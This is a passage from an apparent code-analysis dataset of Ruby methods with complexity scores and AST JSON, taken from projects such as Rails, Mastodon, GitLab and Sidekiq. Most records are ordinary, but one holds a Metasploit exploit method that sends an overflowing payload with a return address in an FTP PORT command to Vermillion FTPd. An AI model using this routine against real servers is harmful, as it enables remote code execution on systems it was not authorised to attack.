end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"listing_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"const\",\"children\":[null,\"LISTINGS_PARAMS\"]}]}]}","id":"285dfe15-0fc1-4a93-8721-fc4f038c746c"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/paths.rb","start_line":119,"raw_source":"def initialize(root, current, paths, options = {})\n @paths = paths\n @current = current\n @root = root\n @glob = options[:glob]\n @exclude = options[:exclude]\n\n options[:autoload_once] ? autoload_once! : skip_autoload_once!\n options[:eager_load] ? eager_load! : skip_eager_load!\n options[:autoload] ? autoload! : skip_autoload!\n options[:load_path] ? load_path! : skip_load_path!\n end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root\"]},{\"type\":\"arg\",\"children\":[\"current\"]},{\"type\":\"arg\",\"children\":[\"paths\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@paths\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current\",{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@glob\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"glob\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exclude\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exclude\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autoload_once\"]}]},{\"type\":\"send\",\"children\":[null,\"autoload_once!\"]},{\"type\":\"send\",\"children\":[null,\"skip_autoload_once!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"eager_load\"]}]},{\"type\":\"send\",\"children\":[null,\"eager_load!\"]},{\"type\":\"send\",\"children\":[null,\"skip_eager_load!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autoload\"]}]},{\"type\":\"send\",\"children\":[null,\"autoload!\"]},{\"type\":\"send\",\"children\":[null,\"skip_autoload!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"load_path\"]}]},{\"type\":\"send\",\"children\":[null,\"load_path!\"]},{\"type\":\"send\",\"children\":[null,\"skip_load_path!\"]}]}]}]}","id":"5fa97dbf-6048-449e-8f69-2e83b4d71e8f"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/object/json.rb","start_line":36,"raw_source":"def to_json(options = nil)\n if options.is_a?(::JSON::State)\n # Called from JSON.{generate,dump}, forward it to JSON gem's to_json\n super(options)\n else\n # to_json is being invoked directly, use ActiveSupport's encoder\n ActiveSupport::JSON.encode(self, options)\n end\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"State\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"36619684-3740-48b9-968c-edaff87a38a6"} {"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/checkout_controller.rb","start_line":176,"raw_source":"def check_if_quick_checkout\n spree_current_order.ship_address&.quick_checkout = params[:quick_checkout] if params[:quick_checkout]\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_if_quick_checkout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quick_checkout\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]},\"ship_address\"]},\"quick_checkout=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quick_checkout\"]}]}]},null]}]}","id":"2834f4a4-15b4-4736-9183-105e327f36b2"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/link_details_extractor.rb","start_line":64,"raw_source":"def author_name\n name = author['name']\n name.is_a?(Array) ? name.join(', ') : name\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"author_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"0b0a9f89-d751-4a43-8465-e70253b53f9a"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/inflector_test.rb","start_line":13,"raw_source":"def setup\n # Dups the singleton before each test, restoring the original inflections later.\n #\n # This helper is implemented by setting @__instance__ because in some tests\n # there are module functions that access ActiveSupport::Inflector.inflections,\n # so we need to replace the singleton itself.\n @original_inflections = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)\n @original_inflection_en = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__en_instance__)\n\n ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, {})\n ActiveSupport::Inflector::Inflections.instance_variable_set(:@__en_instance__, @original_inflection_en.dup)\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@original_inflections\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@__instance__\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@original_inflection_en\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@__en_instance__\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@__instance__\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"Inflections\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@__en_instance__\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_inflection_en\"]},\"dup\"]}]}]}]}","id":"7fd9a525-534a-4669-a2be-fdf88e7f1bc8"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/group_bys.rb","start_line":31,"raw_source":"def render_options(group_by_ary)\n options = group_by_ary.sort_by(&:label).map do |group_by|\n next unless group_by.selectable?\n\n label_text = CGI::escapeHTML(h(group_by.label)).to_s\n option_tags = { value: group_by.underscore_name, \"data-label\": label_text }\n option_tags[:title] = label_text if group_by.label.length > 40\n content_tag :option, option_tags do\n h(truncate_single_line(group_by.label, length: 40))\n end\n end\n\n safe_join(options)\n end","complexity_score":32.98,"ast_json":"{\"type\":\"def\",\"children\":[\"render_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_by_ary\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_by_ary\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_by\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_by\"]},\"selectable?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"label_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_by\"]},\"label\"]}]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"option_tags\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_by\"]},\"underscore_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data-label\"]},{\"type\":\"lvar\",\"children\":[\"label_text\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_by\"]},\"label\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[40]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_tags\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"label_text\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"option\"]},{\"type\":\"lvar\",\"children\":[\"option_tags\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[null,\"truncate_single_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_by\"]},\"label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"int\",\"children\":[40]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"safe_join\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"ec00b181-fdd3-4025-9099-49c8154123ba"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/models/discourse_reactions/reaction_user.rb","start_line":34,"raw_source":"def can_undo?\n self.created_at > SiteSetting.post_undo_action_window_mins.minutes.ago\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_undo?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"created_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"post_undo_action_window_mins\"]},\"minutes\"]},\"ago\"]}]}]}","id":"5e9e9f92-26e9-4913-9dd0-2ccf570e7655"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":44,"raw_source":"def initialize(time_zone = nil)\n @time_zone = time_zone\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"time_zone\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@time_zone\",{\"type\":\"lvar\",\"children\":[\"time_zone\"]}]}]}","id":"245490b8-4541-4fb6-ac59-10ce043bd7d7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/protected_ref_deploy_key_access.rb","start_line":53,"raw_source":"def deploy_key_access_allowed?(current_user, _current_project)\n deploy_key_owned_by?(current_user) && valid_deploy_key_status?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deploy_key_access_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"_current_project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_key_owned_by?\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"valid_deploy_key_status?\"]}]}]}","id":"23e26e61-8fda-4d51-94ed-f251d1d71551"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_sort_by.rb","start_line":36,"raw_source":"def on_numblock(node)\n redundant_sort_by_numblock(node) do |send|\n range = sort_by_range(send, node)\n\n add_offense(range, message: MSG_NUMBLOCK) do |corrector|\n corrector.replace(range, 'sort')\n end\n end\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_numblock\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redundant_sort_by_numblock\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"send\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"sort_by_range\",{\"type\":\"lvar\",\"children\":[\"send\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG_NUMBLOCK\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"sort\"]}]}]}]}]}]}","id":"f2a1c7ec-b073-4b97-bf66-6db866454d5e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb","start_line":271,"raw_source":"def verify_mrs_or_issues(type)\n # Compare length to have easy to read overview how many objects are missing\n #\n expected = type == 'mr' ? source_mrs : source_issues\n actual = type == 'mr' ? mrs : issues\n count_msg = \"Expected to contain same amount of #{type}s. Source: #{expected.length}, Target: #{actual.length}\"\n expect(actual.length).to eq(expected.length), count_msg\n\n comment_diff = verify_comments(type, actual, expected)\n\n {\n \"missing_#{type}s\": (expected.keys - actual.keys).filter_map { |it| expected[it]&.slice(:title, :url) },\n \"extra_#{type}s\": (actual.keys - expected.keys).filter_map { |it| actual[it]&.slice(:title, :url) },\n \"#{type}_comments\": comment_diff\n }\n end","complexity_score":38.6,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_mrs_or_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"mr\"]}]},{\"type\":\"send\",\"children\":[null,\"source_mrs\"]},{\"type\":\"send\",\"children\":[null,\"source_issues\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"mr\"]}]},{\"type\":\"send\",\"children\":[null,\"mrs\"]},{\"type\":\"send\",\"children\":[null,\"issues\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"count_msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected to contain same amount of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"s. Source: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\", Target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"length\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"count_msg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment_diff\",{\"type\":\"send\",\"children\":[null,\"verify_comments\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]},{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"missing_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"keys\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"keys\"]}]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"it\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"it\"]}]},\"slice\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"extra_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"keys\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"keys\"]}]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"it\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"it\"]}]},\"slice\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"url\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"_comments\"]}]},{\"type\":\"lvar\",\"children\":[\"comment_diff\"]}]}]}]}]}","id":"dfabd8fd-475f-4276-adcc-d6c58656c675"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/vermillion_ftpd_port.rb","start_line":112,"raw_source":"def exploit\n # Use a copy of the target\n mytarget = target\n\n if (target['auto'])\n mytarget = nil\n\n print_status(\"Automatically detecting the target...\")\n connect\n disconnect\n\n if (banner and (m = banner.match(/\\(vftpd (.*)\\)/))) then\n print_status(\"FTP Banner: #{banner.strip}\")\n version = m[1]\n else\n print_status(\"No matching target\")\n return\n end\n\n self.targets.each do |t|\n if (t.name =~ /#{version} - /) then\n mytarget = t\n break\n end\n end\n\n if (not mytarget)\n print_status(\"No matching target\")\n return\n end\n\n print_status(\"Selected Target: #{mytarget.name}\")\n else\n print_status(\"Trying target #{mytarget.name}...\")\n end\n\n connect\n\n stuff = payload.encoded\n # skip 16 bytes\n stuff << \",\" * mytarget['Offset']\n # now we change the return address to be what we want\n stuff << mytarget['Adders']\n\n if (res = send_cmd(['PORT', stuff]))\n print_status(res.strip)\n end\n\n disconnect\n handler\n end","complexity_score":61.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auto\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Automatically detecting the target...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(vftpd (.*)\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FTP Banner: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No matching target\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mytarget\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No matching target\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Selected Target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"stuff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\",\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mytarget\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Adders\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PORT\"]},{\"type\":\"lvar\",\"children\":[\"stuff\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"strip\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"73defc2f-034b-4f9a-ba53-74e1ca29edd2"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job.rb","start_line":378,"raw_source":"def build_client # :nodoc:\n pool = Thread.current[:sidekiq_redis_pool] || get_sidekiq_options[\"pool\"] || Sidekiq.default_configuration.redis_pool\n client_class = Thread.current[:sidekiq_client_class] || get_sidekiq_options[\"client_class\"] || Sidekiq::Client\n client_class.new(pool: pool)\n 